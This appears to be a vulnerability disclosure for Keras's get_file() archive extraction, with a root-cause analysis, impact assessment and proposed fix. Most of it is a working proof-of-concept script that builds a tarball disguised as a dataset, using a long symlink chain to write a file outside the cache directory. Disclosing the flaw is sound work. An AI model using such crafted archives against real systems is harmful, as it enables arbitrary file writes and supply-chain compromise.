## Summary
Keras's `keras.utils.get_file()` function is vulnerable to directory traversal attacks despite implementing `filter_safe_paths()`. The vulnerability exists because `extract_archive()` uses Python's `tarfile.extractall()` method without the security-critical `filter="data"` parameter. A PATH_MAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.
## Details
### Root Cause Analysis
**Current Keras Implementation**
```python
# From keras/src/utils/file_utils.py#L121
if zipfile.is_zipfile(file_path):
# Zip archive.
archive.extractall(path)
else:
# Tar archive, perhaps unsafe. Filter paths.
archive.extractall(path, members=filter_safe_paths(archive))
```
### The Critical Flaw
While Keras attempts to filter unsafe paths using `filter_safe_paths()`, this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATH_MAX symlink resolution bug occurs during extraction, not during member enumeration.
**Exploitation Flow:**
1. **Archive parsing**: `filter_safe_paths()` sees symlink paths that appear safe
2. **Extraction begins**: `extractall()` processes the filtered members
3. **PATH_MAX bug triggers**: Symlink resolution fails due to path length limits
4. **Security bypass**: Failed resolution causes literal path interpretation
5. **Directory traversal**: Files written outside intended directory
### Technical Details
The vulnerability exploits a known issue in Python's `tarfile` module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:
- `filter_safe_paths()` operates on the parsed tar member information
- The PATH_MAX bug occurs during actual file system operations in `extractall()`
- Failed symlink resolution falls back to literal path interpretation
- This allows traversal paths like `../../../../etc/passwd` to be written
### Affected Code Location
**File**: `keras/src/utils/file_utils.py`
**Function**: `extract_archive()` around line 121
**Issue**: Missing `filter="data"` parameter in `tarfile.extractall()`
## Proof of Concept
```
#!/usr/bin/env python3
import os, io, sys, tarfile, pathlib, platform, threading, time
import http.server, socketserver
# Import Keras directly (not through TensorFlow)
try:
import keras
print("Using standalone Keras:", keras.__version__)
get_file = keras.utils.get_file
except ImportError:
try:
import tensorflow as tf
print("Using Keras via TensorFlow:", tf.keras.__version__)
get_file = tf.keras.utils.get_file
except ImportError:
print("Neither Keras nor TensorFlow found!")
sys.exit(1)
print("=" * 60)
print("Keras get_file() PATH_MAX Symlink Vulnerability PoC")
print("=" * 60)
print("Python:", sys.version.split()[0])
print("Platform:", platform.platform())
root = pathlib.Path.cwd()
print(f"Working directory: {root}")
# Create target directory for exploit demonstration
exploit_dir = root / "exploit"
exploit_dir.mkdir(exist_ok=True)
# Clean up any previous exploit files
try:
(exploit_dir / "keras_pwned.txt").unlink()
except FileNotFoundError:
pass
print(f"\n=== INITIAL STATE ===")
print(f"Exploit directory: {exploit_dir}")
print(f"Files in exploit/: {[f.name for f in exploit_dir.iterdir()]}")
# Create malicious tar with PATH_MAX symlink resolution bug
print(f"\n=== Building PATH_MAX Symlink Exploit ===")
# Parameters for PATH_MAX exploitation
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop" # 16-step symlink chain
path = ""
with tarfile.open("keras_dataset.tgz", mode="w:gz") as tar:
print("Creating deep symlink chain...")
# Build the symlink chain that will exceed PATH_MAX during resolution
for i, step in enumerate(steps):
# Directory with long name
dir_info = tarfile.TarInfo(os.path.join(path, comp))
dir_info.type = tarfile.DIRTYPE
tar.addfile(dir_info)
# Symlink pointing to that directory
link_info = tarfile.TarInfo(os.path.join(path, step))
link_info.type = tarfile.SYMTYPE
link_info.linkname = comp
tar.addfile(link_info)
path = os.path.join(path, comp)
if i < 3 or i % 4 == 0: # Print progress for first few and every 4th
print(f" Step {i+1}: {step} -> {comp[:20]}...")
# Create the final symlink that exceeds PATH_MAX
# This is where the symlink resolution breaks down
long_name = "x" * 254
linkpath = os.path.join("/".join(steps), long_name)
max_link = tarfile.TarInfo(linkpath)
max_link.type = tarfile.SYMTYPE
max_link.linkname = ("../" * len(steps))
tar.addfile(max_link)
print(f"✓ Created PATH_MAX symlink: {len(linkpath)} characters")
print(f" Points to: {'../' * len(steps)}")
# Exploit file through the broken symlink resolution
exploit_path = linkpath + "/../../../exploit/keras_pwned.txt"
exploit_content = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras get_file() is vulnerable to PATH_MAX symlink attacks!\n"
exploit_file = tarfile.TarInfo(exploit_path)
exploit_file.type = tarfile.REGTYPE
exploit_file.size = len(exploit_content)
tar.addfile(exploit_file, fileobj=io.BytesIO(exploit_content))
print(f"✓ Added exploit file via broken symlink path")
# Add legitimate dataset content
dataset_content = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n"
dataset_file = tarfile.TarInfo("dataset/labels.csv")
dataset_file.type = tarfile.REGTYPE
dataset_file.size = len(dataset_content)
tar.addfile(dataset_file, fileobj=io.BytesIO(dataset_content))
# Dataset directory
dataset_dir = tarfile.TarInfo("dataset/")
dataset_dir.type = tarfile.DIRTYPE
tar.addfile(dataset_dir)
print("✓ Malicious Keras dataset created")
# Comparison Test: Python tarfile with filter (SAFE)
print(f"\n=== COMPARISON: Python tarfile with data filter ===")
try:
with tarfile.open("keras_dataset.tgz", "r:gz") as tar:
tar.extractall("python_safe", filter="data")
files_after = [f.name for f in exploit_dir.iterdir()]
print(f"✓ Python safe extraction completed")
print(f"Files in exploit/: {files_after}")
# Cleanup
import shutil
if pathlib.Path("python_safe").exists():
shutil.rmtree("python_safe", ignore_errors=True)
except Exception as e:
print(f"❌ Python safe extraction blocked: {str(e)[:80]}...")
files_after = [f.name for f in exploit_dir.iterdir()]
print(f"Files in exploit/: {files_after}")
# Start HTTP server to serve malicious archive
class SilentServer(http.server.SimpleHTTPRequestHandler):
def log_message(self, *args): pass
def run_server():
with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd:
httpd.allow_reuse_address = True
httpd.serve_forever()
server = threading.Thread(target=run_server, daemon=True)
server.start()
time.sleep(0.3)
# Keras vulnerability test
cache_dir = root / "keras_cache"
cache_dir.mkdir(exist_ok=True)
url = "http://127.0.0.1:8005/keras_dataset.tgz"
print(f"\n=== KERAS VULNERABILITY TEST ===")
print(f"Testing: keras.utils.get_file() with extract=True")
print(f"URL: {url}")
print(f"Cache: {cache_dir}")
print(f"Expected extraction: keras_cache/datasets/keras_dataset/")
print(f"Exploit target: exploit/keras_pwned.txt")
try:
# The vulnerable Keras call
extracted_path = get_file(
"keras_dataset",
url,
cache_dir=str(cache_dir),
extract=True
)
print(f"✓ Keras extraction completed")
print(f"✓ Returned path: {extracted_path}")
except Exception as e:
print(f"❌ Keras extraction failed: {e}")
import traceback
traceback.print_exc()
# Vulnerability assessment
print(f"\n=== VULNERABILITY RESULTS ===")
final_exploit_files = [f.name for f in exploit_dir.iterdir()]
print(f"Files in exploit directory: {final_exploit_files}")
if "keras_pwned.txt" in final_exploit_files:
print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨")
exploit_file = exploit_dir / "keras_pwned.txt"
content = exploit_file.read_text()
print(f"Exploit file created: {exploit_file}")
print(f"Content:\n{content}")
print(f"🔍 TECHNICAL DETAILS:")
print(f" • Keras uses tarfile.extractall() without filter parameter")
print(f" • PATH_MAX symlink resolution bug bypassed security checks")
print(f" • File created outside intended cache directory")
print(f" • Same vulnerability pattern as TensorFlow get_file()")
print(f"\n📊 COMPARISON RESULTS:")
print(f" ✅ Python with filter='data': BLOCKED exploit")
print(f" ⚠ Keras get_file(): ALLOWED exploit")
else:
print(f"✅ No exploit files detected")
print(f"Possible reasons:")
print(f" • Keras version includes security patches")
print(f" • Platform-specific path handling prevented exploit")
print(f" • Archive extraction path differed from expected")
# Show what Keras actually extracted (safely)
print(f"\n=== KERAS EXTRACTION ANALYSIS ===")
try:
if 'extracted_path' in locals() and pathlib.Path(extracted_path).exists():
keras_path = pathlib.Path(extracted_path)
print(f"Keras extracted to: {keras_path}")
# Safely list contents
try:
contents = [item.name for item in keras_path.iterdir()]
print(f"Top-level contents: {contents}")
# Count symlinks (indicates our exploit structure was created)
symlink_count = 0
for item in keras_path.iterdir():
try:
if item.is_symlink():
symlink_count += 1
except PermissionError:
continue
print(f"Symlinks created: {symlink_count}")
if symlink_count > 0:
print(f"✓ PATH_MAX symlink chain was extracted")
except PermissionError:
print(f"Permission errors in extraction directory (expected with symlink corruption)")
except Exception as e:
print(f"Could not analyze Keras extraction: {e}")
print(f"\n=== REMEDIATION ===")
print(f"To fix this vulnerability, Keras should use:")
print(f"```python")
print(f"tarfile.extractall(path, filter='data') # Safe")
print(f"```")
print(f"Instead of:")
print(f"```python")
print(f"tarfile.extractall(path) # Vulnerable")
print(f"```")
# Cleanup
print(f"\n=== CLEANUP ===")
try:
os.unlink("keras_dataset.tgz")
print(f"✓ Removed malicious tar file")
except:
pass
print("PoC completed!")
```
### Environment Setup
- **Python**: 3.8+ (tested on multiple versions)
- **Keras**: Standalone Keras or TensorFlow.Keras
- **Platform**: Linux, macOS, Windows (path handling varies)
### Exploitation Steps
1. **Create malicious tar archive** with PATH_MAX symlink chain
2. **Host archive** on accessible HTTP server
3. **Call `keras.utils.get_file()`** with `extract=True`
4. **Observe directory traversal** - files written outside cache directory
### Key Exploit Components
- **Deep symlink chain**: 16+ nested symlinks with long directory names
- **PATH_MAX overflow**: Final symlink path exceeding system limits
- **Traversal payload**: Relative path traversal (`../../../target/file`)
- **Legitimate disguise**: Archive contains valid-looking dataset files
### Demonstration Results
**Vulnerable behavior:**
- Files extracted outside intended `cache_dir/datasets/` location
- Security filtering bypassed completely
- No error or warning messages generated
**Expected secure behavior:**
- Extraction blocked or confined to cache directory
- Security warnings for suspicious archive contents
## Impact
### Vulnerability Classification
- **Type**: Directory Traversal / Path Traversal (CWE-22)
- **Severity**: High
- **CVSS Components**: Network accessible, no authentication required, impacts confidentiality and integrity
### Who Is Impacted
**Direct Impact:**
- Applications using `keras.utils.get_file()` with `extract=True`
- Machine learning pipelines downloading and extracting datasets
- Automated ML training systems processing external archives
**Attack Scenarios:**
1. **Malicious datasets**: Attacker hosts compromised ML dataset
2. **Supply chain**: Legitimate dataset repositories compromised
3. **Model poisoning**: Extraction writes malicious files alongside training data
4. **System compromise**: Configuration files, executables written to system directories
**Affected Environments:**
- Research environments downloading public datasets
- Production ML systems with automated dataset fetching
- Educational platforms using Keras for tutorials
- CI/CD pipelines training models with external data
### Risk Assessment
**High Risk Factors:**
- Common usage pattern in ML workflows
- No user awareness of extraction security
- Silent failure mode (no warnings)
- Cross-platform vulnerability
**Potential Consequences:**
- Arbitrary file write on target system
- Configuration file tampering
- Code injection via overwritten scripts
- Data exfiltration through planted files
- System compromise in containerized environments
## Recommended Fix
### Immediate Mitigation
Replace the vulnerable extraction code with:
```python
# Secure implementation
if zipfile.is_zipfile(file_path):
# Zip archive - implement similar filtering
archive.extractall(path, members=filter_safe_paths(archive))
else:
# Tar archive with proper security filter
archive.extractall(path, members=filter_safe_paths(archive), filter="data")
```
### Long-term Solution
1. **Add `filter="data"` parameter** to all `tarfile.extractall()` calls
2. **Implement comprehensive path validation** before extraction
3. **Add extraction logging** for security monitoring
4. **Consider sandboxed extraction** for untrusted archives
5. **Update documentation** to warn about archive security risks
### Backward Compatibility
The fix maintains full backward compatibility as `filter="data"` is the recommended secure default for Python 3.12+.
## References
- [[Python tarfile security documentation](https://docs.python.org/3/library/tarfile.html#extraction-filters)](https://docs.python.org/3/library/tarfile.html#extraction-filters)
- [[CVE-2007-4559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559) - Related tarfile vulnerability
- [[OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)](https://owasp.org/www-community/attacks/Path_Traversal)
Note: Reported in Huntr as well, but didn't get response
https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4